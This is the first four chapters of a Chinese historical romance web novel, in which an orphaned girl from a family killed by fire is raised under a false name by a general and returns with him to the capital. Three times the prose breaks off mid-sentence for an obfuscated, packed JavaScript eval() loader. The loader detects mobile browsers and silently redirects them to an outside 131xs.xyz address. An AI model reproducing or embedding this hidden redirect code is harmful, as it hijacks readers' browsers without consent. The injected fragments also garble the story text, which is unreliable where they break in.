《人间无灯》 1. 第 1 章 春雨初霁,庭院深深,树丛葳葳。寂静无声的夜里,一道少女倩影从回廊中疾步穿行,她快步出碧瓦飞甍的楼台院墙,扑倒在泠泠的山泉前。 当冰凉的泉水盈满手心,再拂到面上时,江瑜总算吐出心中那口浊气。 她又做那个噩梦了,这两年间,梦魇始终挥之不去。尤其是在得知快要回京之后,江瑜越发心神不宁,熊熊火光宛如一道催命符,夜夜都入梦来,烧得她油煎火燎,心悸不已。 那场大火害得她家破人亡,也让江瑜从此患上了怕热喜凉的毛病。房中一年四季总搁着冰块,平日也是一点火光也见不得。 “小姐……小姐……” 一阵急促的脚步声由远及近,翠竹手里拿着披风,在看见江瑜的一刻将她严严实实地裹了起来。 也不怪翠竹这般紧张,当年她才刚给江瑜当丫鬟时就经历了一桩大事——江瑜半夜独自下床,走到装满凉水的大缸里。也不知泡了多久,当下人发现的时候江瑜已经嘴唇青紫,几乎昏迷,下人们手忙脚乱地将人捞起来擦干放进床褥里,即便不是在最冷的寒冬,江瑜还是生了场大病,高烧久久不退,直养了大半年才将身子养好。 那一次江涣之发了好大的脾气,他连夜从北漠边境的战场赶回来,浑身的森然戾气仿佛下一刻就要大开杀戒。别院上下全都噤若寒蝉,对这个玉面阎罗怕得要命。 翠竹也怕,她不敢抬头看这个在传闻中能止小儿夜啼的杀神,却在有一次端药进屋时偶然瞥见原来他也有柔情的一面。褪去甲胄的江涣之坐在床边,望着双眼紧闭的江瑜,脸上全是担心。 翠竹那时候就明白了,江涣之独独对自家小姐是不一样的,自家小姐又何尝不是呢?江瑜的性子静得出奇,常常在泉水边一坐就是一天,像是对什么都兴致缺缺,唯独在得知江涣之要来时才会展露一丝笑颜。 “是么,哥哥要来?”江瑜脸上的笑意一闪而过,却让翠竹看得痴了,明明这样美的人,为什么平日总是不爱笑呢? 得到了肯定答复,江瑜便起身往马厩走去,对马夫叮嘱道:“哥哥千里奔袭,马匹一定不能用了。记得多备几匹让哥哥走的时候挑。” 江涣之从来都是来去匆匆,常常裹着一身寒霜而来,只为看看江瑜,或是给她带点什么稀奇有趣的小玩意,至多只留一天,第二日便会骑马离开。 一想到江涣之,翠竹难免想起似乎很久没有听自家小姐提起哥哥了,兄妹两人像闹了别扭。只不过两人都不是闹腾的性子,就算真有什么龃龉他们这些下人也无从得知。 …… “小姐,当心着凉。”江瑜察觉到身上的披风被裹得更紧了,战战兢兢的小丫鬟劝慰道:“上回就留下了病根,大夫说了,得好好养着。” 每个人都让她好好养病,可哪有那么好养。世人都道身病虽能治,心病却最是难医。那场大火带走的不只有她父母和幼弟的生命,还有她“裴瑜”的名字和再也回不去的烂漫时光。 也就是在那大病一场之后,江涣之往这间别院安排了更多人手,还有一批不见天日,却总能如影随形的暗卫。 那次以后,江瑜还在夜里因睡不着偷跑出来过几回,每次都能很快被发现,出面的依旧是下人和丫鬟,可聪颖敏感的江瑜还是觉出些不对来。 没过多久,江瑜再一次于睡梦中惊醒,她起身行至房门处,刚停住脚步,身后有一道几不可闻的气息也霎时停住了。那么细微,却足以被捕捉。 江瑜不动声色地扶住门框,头也没回:“出来。” 身后空无一人,偌大的寝居夜沉如水,江瑜定了定心神,语气依旧沉稳:“不管你是谁,出来见我!” 黑暗中,一道暗影仿佛凭空出现在了江瑜面前,那是一个身量极高的束发女子,她对着江瑜一揖道:“属下玉影,参见二小姐。” 江瑜暗自对此人的身手感到心惊,却还是问:“你们是暗卫?一共有多少人,什么时候开始跟在我身边的?” 玉影顿了顿,态度依旧恭顺:“我们是将军派来的,一共四十人,从月初开始隐藏于院中,为的是保护二小姐周全。” 听说是江涣之派来的,江瑜眉眼松了松,“那既然是来保护我的,为何从来不出现?哥哥是不是让你们监视我,还要把我的一举一动汇报给他?” 玉影揖手的动作变得更低了,“回二小姐,将军说您性子静,不喜人跟着,这才没有暴露身形。至于监视……那是万万没有的,我与其他同僚只会在信件中向将军报二小姐平安,别的不敢多说。” “那依你这么说,你们这四十个人的主子是我,还是我哥哥?” “自然是您,属下誓死效忠二小姐。”玉影答得从善如流。这并非假话,他们这些暗卫是自小就被培养的死士,舌根里藏着毒,被江涣之带到这里以后就抱着随时为江瑜去死的决心。 “那就好。”江瑜似乎对她的回答很是满意,她走到八仙桌旁坐下,煞有介事地开口:“那我要你给我汇报京城里的事。” “这……属下不知具体是哪方面的事。”玉影有些为难。 “从我离开京城以后,也就是裴家被火烧了个一干二净开始讲起。挑大事讲,最好与裴家有关。” 玉影怎么都没想到,江瑜会把话讲得这么直白。在这座别院里,“不要在二小姐面前提起‘京城’、‘裴家’一类的字眼”是个不成文的规定,也是大家心照不宣不去触碰的禁区。就像江二小姐其实并不姓江,与江涣之这个镇北将军也并不是亲生兄妹一样,这是个不能放在台面上来说的秘密。 玉影彻底沉默了下去,有些密辛她不甚了解,因此唯恐把握不了说话的尺度。江瑜见状哼笑一声,“口口声声拿我当主子,要誓死效忠,怎么问你话都不敢答了?” 玉影心里百转千回,想起江涣之说过要他们保护江瑜,除此之外,还说过一切要以江瑜为重……具体怎么个以江瑜为重法,大抵也是包含了有问必答的罢。 “回二小姐,裴家那场火烧了整整三日才被扑灭。璟和帝震怒,下令彻查此事。还在查案期间,赵太傅就在廷议时呈奏要取消与裴家的婚约,陛下应了……” 江瑜心里狠狠一拧,双手不自觉攥紧了裙摆。 玉影垂着头,自然没有看见江瑜忽然变白的面色。她继续道:“都察院因避嫌没有参与调查。大理寺和刑部一道办案,最后查出是裴夫人房中烛火燎到了窗边散落的布料,这才起了火。事出意外,璟和帝也不好追责,只能下旨厚葬裴大人,可事情到了这一步,又有几位商人去击鼓鸣冤,说裴大人收了他们的钱却不办事,官府也查出些对裴大人不利的事。总之厚葬一事不了了之,尸首大概被运回了祖籍安葬,此后朝堂之上再没有人提起过裴家,在民间……” 玉影忽然抬起头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625624|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心地觑了觑江瑜的脸色,似是不知还该不该说下去。 “民间如何?”江瑜厉声问。 “民间有传闻,说裴大人是奸臣,老天有眼才……”玉影不敢再说,“二小姐莫要动气,都是些市井闲话,不作数的。况且已经过了一段时日,类似流言该是没了。二小姐若是还想听京城的事,属下再派人进京打听。” “那你先下去,择日再向我汇报。” 江瑜摆了摆手。下一刻那道身影形就消失在了黑暗中,仿似从未来过。真是人如其名,她就像一道影子般来去无踪。 “等等,我还有话要说。”江瑜忽然出声。 不过一眨眼的工夫,黑影再次出现在江瑜身前,“二小姐尽管吩咐。” “今日的事,也就是我问过你话,还有谈话的内容……你别告诉哥哥,免得他担心。”江瑜道。 “是。”玉影彻底消失在了夜色里。 对于江瑜而言,苟且偷生后的日子就是一潭死水,来自京城的消息算是投入其中的一颗石子。另一颗石子是江涣之。 她好像每天都只做一件事,那就是等待。等着江涣之的到来,也等着玉影向她汇报来自京城的消息,不过京城的事一日比一日更无聊,裴家已经被抹去,就连谈资也算不上了。就连江涣之也是,边境战事告捷,消息传回来大家都很高兴,可她却许久都等不来江涣之了。 江瑜已经与世隔绝了很久,江涣之从不会苛待她,吃穿用度都是最好的,那些下人就更是了。可江涣之的久不现身让江瑜感到一阵没来由的恐慌。是他把她从火海里救出来的,他也是她在这世间唯一的依托了。 江瑜开始日日盯着窗柩,盼望着那后面能出现些什么。可当有一日骑着高头大马的江涣之真的出现在窗外时,江瑜惊讶地发现自己感受到的竟然不是开心,而是一阵莫名的恼怒。 江涣之身披墨色大氅,下马的样子恣意潇洒,解下戎衣净了手就往屋里走。 江瑜故意使性子不看他,直到手里的书被抽走,那张年轻俊逸的面容出现在她的面前。 “对不住了,这次战事打得急,实在抽不开身回来看你。”江涣之看上去没有一点舟车劳顿后的疲惫,反倒神采奕奕的。 江瑜忍住了没像以往那样起身去抱他,却见江涣之也不甚在意的样子,又走出门外让人搬东西。 “这是万花镜,我从边境客商手里买来的。专程带回来给你看稀奇。” 江瑜已经习惯了江涣之每次来都带些小玩意给她,她把这个圆筒状的不明物拿在手里,把玩半晌也没看出是个什么东西。 耳边传来江涣之的轻笑,“这是要放在眼睛上的,你放上去再看看?” 江瑜闭起一只眼,将圆筒一端放在另一只眼睛上,眼前的景象忽然就变得奇异了。门框变成了三截,还在不断晃动,椅子也是,莫名就跑到天上去了。 江瑜正觉有趣,身边软塌忽地一沉,江涣之坐到了她旁边。 他大概已经酝酿了很久,说话的嗓音低沉温雅:“我知道你在山里过得无聊,心里也装着事,不太舒坦。我这回打了胜仗,至少能保北边十年安宁,过一段时日就该回京封赏了。我想把你带回京城,以江家二小姐的名义。” 江瑜手里一抖,万花镜被欺身过来的江涣之稳稳接住,在这突然拉近的距离里,江瑜猝不及防地望进了江涣之的眼眸里。 2. 第 2 章 江涣之眉眼幽邃,直视一个人时很容易有逼视之感。再加上他一向说一不二的做派,这话一出江瑜就知道事情已经没有回寰的余地了。 江瑜有些不乐意,“你在跟我商量还是命令我?” “这是为了你好。”江涣之带着些不由分说:“你生在京城,长在京城,那才是你的家。我跟你一道回去便能护着你,那件事的风头也过了。是时候了。” “那件事?”江瑜反问道:“你连说出是什么事都不敢,我就这样被你藏来藏去,一句‘是时候了’就该乖乖跟着你走?” 连日来的恐慌仿佛有了一个宣泄口,江瑜对任何“变故”都有一种天然的抗拒,种种复杂的情绪交织,让她再也无法忍受。 突然,江瑜打开门走出去,将手里的万花镜狠狠朝山下扔了出去。 这个举动让江瑜感到了难得的畅快,她回过身,看着追出来的江涣之道:“哥哥,我不小心把万花镜掉下去了,你能帮我捡回来吗?我特别喜欢它。” 假兄妹做了快两年,这还是江瑜第一次在江涣之面前这么任性。 不管是亲眼所见还是下人的汇报,江瑜都平静得让人担心。无非是多做几个噩梦,心里被那团火烧得难受便去凉水里泡一泡,她从来没有痛哭流涕、大吵大闹过。面对家里的变故,她从一开始就表现得不像一个十二岁的孩子。 江瑜紧紧盯着江涣之的脸,心跳如擂鼓。 由于知道了一个人会无条件对自己好,因此想要试探这份好能到什么程度。不管未来遇到任何事,江涣之都会像现在这样,永远对她好吗? 江瑜眼睁睁看着江涣之低下头,或许还无奈地低叹了一声。可最终他还是认真地开始找起万花镜来。 天色渐晚,江涣之点燃一道火把。知道她怕火,江涣之一面往山下探去,一面催促她赶紧进屋歇息。 江瑜在原地伫立良久,山间丛林茂密,时不时还能听见野兽的低吼。直到那道星光般的微亮彻底消失在视野里,江瑜才转身回了房。 这一夜都没怎么睡好,次日醒来,别院里果然没有江涣之的身影了。 应该是回云州军营了吧,江瑜想。吃过早饭,她挥退了想要跟上来的翠竹,独自一人往外走。 刚打开院门,一个意外的人出现在她面前。江涣之在山里找了一夜,堂堂大将军的威严气度被满身泥泞消减了不少,饶是如此他也没有半点责怪江瑜的意思,只是垂眸将手里的万花镜递过来,“只要你喜欢,我就一定给你找回来。” 江涣之的手掌宽大,骨节分明,由于常年握持刀剑而留下了一层薄茧。江瑜望着那摊开的手和手上失而复得的万花镜,先是愣神,随即嘴角一撇,竟大哭了起来。 她真的试出来了,江涣之大概会永远对她好。可这份“好”的背后是什么,江瑜不敢去想。 江涣之被她这反应吓了一跳,连忙一步上前,拥住江瑜拍拍她的背,柔声道:“哭什么,给你找回来了怎么还不高兴?” 江瑜挣开他的怀抱,哭着往山下走,“我就知道,果然是这样!这世间没有无缘无故的好,你救我,养着我都是因为我爹,他受你牵连,你才会心中有愧。你什么也不告诉我,我爹被世人误以为是奸臣,他们还说家里起火是老天有眼,可我娘患有眼疾,她根本不会做针线活,房里更不会有布料。我们家是被歹人所害!” 江涣之听得讶然,他不知该如何安慰一个哭成泪人的小女孩,只能说:“我知道。” “那你可知道这是在剜我爹的心?他一生刚正不阿,一心只为百姓,死后竟得这样的骂名,这是让他死不瞑目。你答应过我的事难道已经忘了?你说要认我做妹妹,还要揪出害我爹娘的凶手,可你究竟做了什么?你常年驻军在外,对京城和朝堂的事根本一无所知!” 江涣之伸出手,用指腹轻轻地擦去江瑜脸上的眼泪,“我会弄清楚的,也会给你家报仇。” “可你要带我回京城,这怎么行?凶手定会在暗处虎视眈眈,你家凭空多出个妹妹,还正好与裴家大女儿年纪相仿,这怎能叫人不怀疑!” 江涣之自小入行伍,打交道的不是凶悍武将就是粗野匹夫,他又是家中独子,这让他在和江瑜的相处中始终不得其法。等江瑜哭得累了,他把人背在背上,一步步朝着山上走。 “我会安排好的,答应你的事也都会做到。”江涣之说。 江瑜哭得乏了,把脸趴在江涣之的背上,闷声道:“既然要回京城,那你也答应我一件事。我想学武防身,你给我找个武学师父来。” 她这话说得像在赌气,自然遭到了江涣之的拒绝,“我不会让你置身于险境。再说了,你的身子也还没养好。” “你要带我回京城,这就是在将我置于险境。” 眼看快到院子了,江瑜一挣,从江涣之身上跳了下来,愤然道:“那些事是玉影告诉我的,你不许罚她。她今后是我的人了。”说完头也不回地跑了进去。 正是从这一日起,江瑜就和江涣之闹起了别扭。最开始死里逃生时建立起的兄妹情简直就像纸糊的,一碰就破。 随着回京的日子一天天临近,江瑜怕热的毛病也犯了,虽不至于再将自己泡进凉水里,但每日都让人拿冰块放在房里,入春了也不许收起。 …… 坐在泉水旁,江瑜早就清醒了,再回去睡也是睡不着的。她抬眼望向院子,只见几抬红木箱子已经收好,还有一辆装潢考究的簇新马车停在院落旁。 “那是回京要坐的?”江瑜抬起手,朝那马车指了指。 “是。”翠竹道:“大少爷怕小姐坐得不舒服,特地叮嘱在马车里加了三层软垫,车轮也比一般的大了不少,行驶起来特别平稳。” 江瑜“哦”了一声,又问:“那他什么时候来接我们?” “应当就是这两日了。”翠竹扶起江瑜往房里走。她不知兄妹二人因何事闹得不愉快,只知说多错多的道理,因此并不多嘴。 江涣之一贯雷厉风行,人来得比信里快,第二日就骑着马上了山。别院里的下人都出去迎了,只有江瑜没出去。他在众人的簇拥中翻身下马,身后还带着两个属下,一个叫言午,另一个叫陆山。 江涣之对那两名部下嘱托了几句,随即来到江瑜房里。他温声道:“大军还在后面,我快马加鞭先过来。等再过几日他们到了,我们就下山和大军汇合,再一同进京。” 江涣之走到江瑜身前,问她:“之前在信里交待的事你都记住了?要是有人问起,你就说生辰在仲秋八月,幼时流落在金陵,被一户人家收养,我偶然寻到了你,这才将你认祖归宗。” 江瑜实际的生辰在冬日,但江涣之早早地算好了日子,江大人早年间携家眷在南边镇守,后来倭寇突然进犯,家眷被紧急护送出城,那时候如果江夫人诞下一个女婴是说得通的。再之后由于战事混乱,江家刚出生的女婴不甚遗失,江家陷入悲痛,只道世道艰难,女婴怕是凶多吉少,便也并未将此事声张。 江大人,也就是江涣之的爹早在六年前战死沙场,江家的人员构成也很简单,只剩一个常年吃斋礼佛的江夫人,没什么二房三房,更没什么弟弟妹妹,因此江瑜只需要记住幼时的“经历”就能应付个七七八八了。 “早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625625|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记住了。”江瑜心里有些惴惴不安,问道:“你这么大张旗鼓地带我回去,真的不怕我被人认出来?” 江涣之知道江瑜在担心什么,可她已经离开了两年,这两年对她的年纪来说正是变化最大的时候。与当初从火场里救出来的那个她相比,江瑜长高了不少,人也出挑了,脸上褪去了孩童的稚气。更何况江涣之认为那些世家大族不会去留意一个小女孩。 “他们不会认出你的。”江涣之语气沉稳,“要是有人敢质疑你的身份,我就挖出他的眼睛。与我为敌,那就是嫌命太长。” 临近回京,需要收拾打点的还有很多。江涣之面不改色地说完狠话就要走,站在门口,他忽然回头道:“对了,还有一事。你家遭难并非受我牵连,我照顾你也不是出于愧疚。我与你爹是忘年至交,你就当他把你托孤给了我吧。” 江瑜很少听江涣之主动提起她死去的爹,因此急切地站起身问道:“那你为什么非得收留我,还要带我回京?我是个累赘,只会成为你的后顾之忧。” “我说了,托孤。”江涣之认真道:“我不要你只是活着,我要让你发自内心地想活下去,而且是活在光亮里。” …… 没过几日,江涣之手下的大军抵达城外,江瑜住的别院离京城大约二三十里。江瑜早早地就被翠竹伺候着起床,坐在铜镜前梳洗打扮,江涣之以前给她买过许多头面首饰,她住在山里很少戴,难得遇到这个重大日子,翠竹一股脑全给她戴上了。还找出了一件黛青色的长裙,裙摆用浅色丝线绣着花锦云织。 江瑜全程任人摆布,心里一直默背江涣之提前给她交待的话。等打扮好了走出门,等待多时的江涣之牵过她的手,将人扶上了马车。 江瑜这才注意到江涣之玄衣窄袖,银甲罩身,头戴戎冠。俨然是一副打了胜仗,意气风发的凯旋模样。他骑着马走在队伍最前方,后面跟着的是江瑜的马车、一众下人及行李。江瑜没头没脑地想,怎么这么像嫁人呢,只不过她和江涣之都没穿红色衣裳。 过了约莫一个时辰,他们的队伍与大军汇合。稍微整编了一番队伍,并未耽搁太久,以江涣之打头的凯旋大军就这样浩浩荡荡地进城了。 看着熟悉的城墙和城门,江瑜有一瞬恍然。还没来得及追忆太多,下一刻就是震耳欲聋的欢呼声。 江瑜快被热情的人潮淹没了,坐在马车里,她能看见街道两侧夹道欢迎的百姓。有男有女,有老有少,个个脸上都洋溢着喜气,他们挥舞着手臂,嘴里高呼获胜的喜悦,无数香帕都被扔到了江涣之身上。 “最前面的人就是镇北将军江涣之?怎么这么年轻,模样也清俊,跟个读书人似的。” “可不是吗,江大人年纪轻轻,却已经是一代战神!你可别小瞧了,这回不仅把咱们大夏的失地尽数收复,还把北漠人压着打退了数百里。” “看见没,那就是江大人失散多年的女儿,江二小姐。小江大人找寻多年,终于把人给找着了!” “兄妹二人都是天人之姿,一看就是一家人!可惜老江大人走得早,没能等来家人团聚的一天……” 在此起彼伏的欢呼声中,江瑜终于确切感受到江涣之究竟立了多么大的军功。或许他并不像江瑜以为的那样只要远离京城就远离了权力中心,恰恰相反,江涣之用一道又一道的军功垒起了他和江瑜安身立命的回京之路。今后的战场只不过是从云州换到京城,从行军列阵转变成朝局争斗…… 出生入死挣来的军功在这一日被江涣之当作了一个契机,为的就是高调宣布江瑜的归来。这意味着不出一日,江瑜的名头将传遍整个京城。 3. 第 3 章 去江府的路程说不上多远,江瑜却觉得过了很久很久。她只能看见江涣之坐在马上的背影,却依旧能猜测到他的神情一定和平日一样,是很冷淡,很漫不经心的。即便在这一路上不知撩动了多少少女的春心。 暮下四合,车队总算行至恢弘的江家府邸前。江涣之掀开车帘,对江瑜伸出手,“到家了。” 江瑜握住他的手下车,只见高大的朱门前站着一个长相端庄的妇人,她的身后还跟着两排下人。江瑜猜测那应该就是江夫人了。 刚与那妇人目光交错,江夫人便好似演练过无数次一般,眼中顷刻间噙满了泪水,往前扑了几步握住江瑜的手,泪眼婆娑地道:“我的女儿啊,这些年你受苦了。” 江瑜眉心一跳,心道江涣之可真是打点得事无巨细。不远处还有些围观百姓伸着脖子往这边看,江瑜正想酝酿几滴眼泪,身旁忽然一暗,江涣之走了过来。 “娘,妹妹连日来与行军一道赶路,一定累坏了。我们还是先进去,让妹妹好生歇歇,来日方长,以后有的是时间叙旧。” 江瑜被这两人一左一右牵住手,几乎是驾进了门。一进到宅邸,江瑜首先感受到的是清幽,江夫人念及江家父子都是上战场的人,杀孽太重,因此常年礼佛,平日常居于佛堂,江瑜能闻到一股淡淡的线香气味。 府邸的大门一关,江夫人的手已经松开了,但江涣之还没有。他牵着江瑜大步流星地往前走,“我特地让人修葺了一座院子和水榭,快跟我来看看。” 江宅内曲径通幽,走过游廊和正厅,再穿过一些亭台楼阁,一道崭新的圆拱门出现在江瑜面前,上面还刻着两个字——瑜园。 “以后这就是你的住处。瑜园与外面分隔开了,不会有人打扰。”江涣之说着话就迈进了拱门。其间构造其实跟江瑜之前住的山间别院有些类似,移栽过来的树木多而蓊郁,将日光遮住大半,形成了阴凉但并不幽暗的环境。按照江瑜的生活习惯,光线最好的地方建成了书房,光靠日光就能读书写字,不必点烛火。凉亭花园一应俱全,水榭旁掩映着一座小楼,楼上设置了专门赏景的月台,能眺望至极远之处。 “进去看看,娘还提前置了许多衣裳,去看看合不合心意。” 江瑜被江涣之推着走进楼里,生怕说一句“不合意”他就要全部丢掉再重买,一路都点着头道:“合心意,我很喜欢。” 熟悉了住处,晚饭是江瑜、江涣之和江夫人三个人一起吃的。江夫人说话慢慢的,语气很温和,模样长得与江涣之有些相似,看得出年轻时是个国色天香的美人。但许是因为常年吃斋念佛,穿得也素净,看上去也有些像画里的仙人菩萨。 用过饭,江夫人拉着江瑜的手问了许多问题,大致是问她平日里爱吃什么,她让厨房做。不然就是房里还缺什么,她让下人去买。 江瑜一个劲地摇头,说自己什么都吃,什么也都不缺。作别江夫人,江瑜回到瑜园,看见翠竹和其他丫鬟还在小楼里收拾,她转了一圈又走了出去。 瑜园里有一片空地,看上去很适合练武,江瑜在空地走了走,心里那点想习武的念头就又被勾了起来。她想再去跟江涣之说说,于是转身走到了前院。 入夜的宅邸依旧灯火通明,江瑜不喜火光,因此专挑昏暗偏僻的地方走。走着走着,江瑜一抬头,发现这好像是江夫人的院子,不是江涣之的。 江瑜正要抬步往回走,一道声音冷不丁传进她的耳里:“真是个可怜孩子,说话还那么懂事,我看着都心疼。” 江瑜听出那是江夫人的声音,紧接着开口的人是江涣之,他声音有些低,江瑜没能听清。 江瑜踟蹰片刻,心下一凛,身形极快地矮身钻进了树丛里。头顶就是窗柩,江夫人说话的声音果然变得更清晰了。 “我自然会将她当亲女儿对待,你不用多说。可我还是不明白……你为什么非得带她回来?京城对她而言,到底是伤心地。” 江涣之叹道:“我如何能不知呢,可若是要治她的心病,那就非得回京城不可。她就算表现得再抗拒,心里也是惦记着这儿的,在别院就常向暗卫打听京城的事。况且她本来就是京城贵女,就该过这样锦衣玉食的日子,我将她藏在山里才是委屈她了。这两年我一直在等,等的就是这个名正言顺带她回来的机会。” 江夫人默了一会儿,又道:“说到贵女,我看她也快及笄了。你是不是有替她寻个人家的打算?我记得她以前有个青梅竹马,似乎是赵家的公子……” “别说什么赵家了,以后‘赵家’这两个字也不要在她面前提。”江涣之的语气陡然间变得烦躁,“我要是急着把她嫁出去,也不会费那么多工夫修建瑜园。” 江夫人道:“那你提前知会我一声也好,免得日后有人问起。我就说好不容易才将女儿寻了回来,不急着嫁人。” 说完这些,江涣之似是还有些不放心,接着道:“别看她不怎么说话,安安静静的,实际是个倔脾气,性子烈。您平日别拘着她,更别像其他人家一样请嬷嬷到家里管教规矩。可若是有别的夫人来递帖子了,可以带她出去见见,这样也显得我们家对她重视。” 江瑜缩在墙角,不禁反复思索起江涣之刚刚说的话。原来他从来没有想过要把她嫁出去好甩掉这个拖油瓶,他只是不想见她一日日地委顿下去,他想治她的心病。 就连江瑜自己都没有察觉到,她心里其实一直埋藏着一个惊世惊骇的想法,她想要过回从前的日子,还憋着一口气想替裴家报仇。打听京城的消息是出于此,有习武的念头也是出于此,由于这个想法太过凶险,因此只能被埋在内心深处。 可是有一个人比她更了解她自己,他在用实际行动证明她不需要掩埋任何念头。 过去的两年里,她是一具行尸走肉,要想真正活下去,那就必须直面内心。好在这条路并不孤独,有一个人背负着和她同样的秘密,也怀揣着和她同样的恨意与执念。 江瑜心中震荡不已,既为自己曾经的软弱胆小而后怕,也为想通以后所下的决心而痛快。 就在她深思之际,身下忽然一空。江涣之不知什么时候出来了,竟拎起她的后背衣领,将她整个人提溜了起来。 江涣之一直将她提到了院子外面才把人放下来,江瑜依旧缩成一团,羞恼得不敢抬头。 “怎么还学会听墙根了?”江涣之的声音从头顶响起,听上去好像不怎么生气。 江瑜站起身,拍了拍裙角,抬起头道:“我有事想找你,没想到走错路了,正好听见你们提到我。没忍住就……谁让你平时什么都不跟我说,总把我当小孩,人都会有好奇心。” 江涣之看她心情似乎比在别院好了许多,于是也不跟她计较,只是问:“是不是房里缺了什么?” “没有,什么都不缺。夫人准备得很……” “她也是你的娘。”江涣之忽然出声打断了江瑜的话,他神情严肃:“从今以后,你要和我一样叫她娘。” 江瑜顿了顿,“娘准备得很齐全。” 江涣之看了她一会儿,放软了语气问:“那找我什么事?” “你还记得上次我跟你说想学武么?我是真的想学,虽说我不能像那些热血男儿一样去保家卫国,但起码能强身健体吧。” 江涣之最担心的就是江瑜的身子,尤其是在她大病一场过后。他心里有了些松动,见她态度认真,便问道:“你当真想好了?” “想好了。”江瑜早就受够了被人保护的日子,她不想做个只能等着被营救的废物,更想做那个执剑之人。她不敢把这些想法都告诉江涣之,但她能理解江涣之对她的保护之心。 江瑜的双眼久违地散发出光彩,江涣之拿她没什么办法,沉吟片刻便道:“既然你想好了,那我答应你。我明日一早要进宫面圣,晚点就去挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625626|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 江瑜大大地松了一口气,“谢谢哥哥,我一定好好练,绝不偷懒!” 像是怕他反悔,江瑜一溜烟地跑回了瑜园。站在原地的江涣之恍然回神,她的这声“哥哥”似乎已经时隔许久了。 …… 短短几日,江府堆满了来自宫里的赏赐,江夫人对华服首饰没什么兴趣,挑了些好的送到瑜园,其余的只能堆进库房。听翠竹说,江涣之从今以后也不是镇北将军了,要叫他苍冥将军,璟和帝亲封的,官至正二品。 “苍冥将军……”江瑜念了几遍这个名字,唇角弯了弯,倒是与他在民间“玉面阎罗”的称号有些不谋而合了。“那哥哥会在京中任职一阵子?” “那当然了,如今边境被平定,也没有什么战事。听说大少爷还多了一个职位,叫什么中领军,大概是掌管禁军的。小姐,婢子再去前院打听打听?”翠竹问。好像在一夜之间,小姐和大少爷又和好了,翠竹心里也松快了不少。 “不必了,”江瑜看了看外头的天色,起身道:“哥哥也该回来了,我出去看看。” 连日来,送贺礼和登门恭贺的人也不少,上午刚刚清过了一批,到了下午前院又堆成了小山。江瑜提着裙子迈过那些木箱子,看见管事张伯正在拿着册子一一登记。旁边的梨树开花了,江涣之正站在树下,负手而立。 一看见江瑜过来,江涣之就笑了:“今日在宫里议事,陛下还提到了你。” 江瑜吓得差点崴了一下,“提到我?” 是提到裴家大小姐还是江二小姐? 江涣之不知她脑子里的那些弯弯绕绕,伸手扶住她,“陛下听说了你的事,怜惜你流落在外多年,说要赏你。月末的宫宴,你和娘随我进宫。” 原来是这一套“身世”引起了皇帝注意,江瑜不置可否,转而问道:“听翠竹说,你多了个职位叫中领军,那么会在京城长留了?” 江涣之略一颔首,忽地一叹:“陛下此举意在将我留在京城,这是忌惮我的兵权。” 江瑜没想到他会毫不避讳地谈论起圣上,心下一惊,下意识左右看了看。江涣之脸上多了些笑意,江瑜心下也瞬间了然,“哥哥早就算到了吧,与其说陛下在忌惮你,倒不如说正中了你的下怀。” 江涣之常年在外征战,于朝中根基不深。他想要培养自己的势力,将手伸得再长些,那么第一步就是人至少得留在京城。至于云州的驻军,这么多年下来早就只听他江涣之一个人的,这份威望纵是别人有心分他的兵权也不是那么容易的。 江涣之不想说太多让江瑜听了忧心,她能猜到这个份上已是足够。他忽然牵起她的手道:“我带你去个地方。” 跟着江涣之,江瑜第一次来到江家的后山。沿着那些弯弯绕绕的小路走了一段,没过多久他们停在了一处小山坳子前。 绕到前面,立着的墓碑露出来。一看见上面的字,江瑜的心猛地一沉,一笔一画,刻着的是她爹娘和幼弟的名字,旁边还有一行字:御史中丞,一代忠臣。 江涣之点燃一炷香,递给已经泣不成声的江瑜,“来给他们上柱香吧,你以后要是想他们了,随时都能来。” “我还以为……他们的尸身早已……” “官府收殓的是我从死囚里找了几具体型相仿的尸身焚烧而成。没来得及救下你爹娘和弟弟是我的错,我今日便在他们的墓前起誓,我江涣之会替他们照顾好你,也会揪出凶手替他们报仇雪恨。” 泪水模糊了江瑜的眼睛,但她却将江涣之那郑重其事的脸庞看得清晰无比。 江涣之的面容奇异般地与当年在火场外的他重叠在了一起。江瑜从来没有见过有人的目光里能透出那么多的情绪,有不舍、愤怒、悲痛与惭愧,那日的江涣之也是这样在江瑜身前蹲下,一字一句地道:“从今以后,你就是江家人。害死你家人的凶手,我定会让他们十倍奉还。” 4. 第 4 章 这天,江涣之和江瑜坐在裴家墓前说了许久的话。 江瑜问:“那个时候,你为什么会突然会出现在我们家?你明明在千里之外的云州驻守,你如何得知我们家会出事?” “是你爹给我的信中透露的。” “信?信上写了什么?” 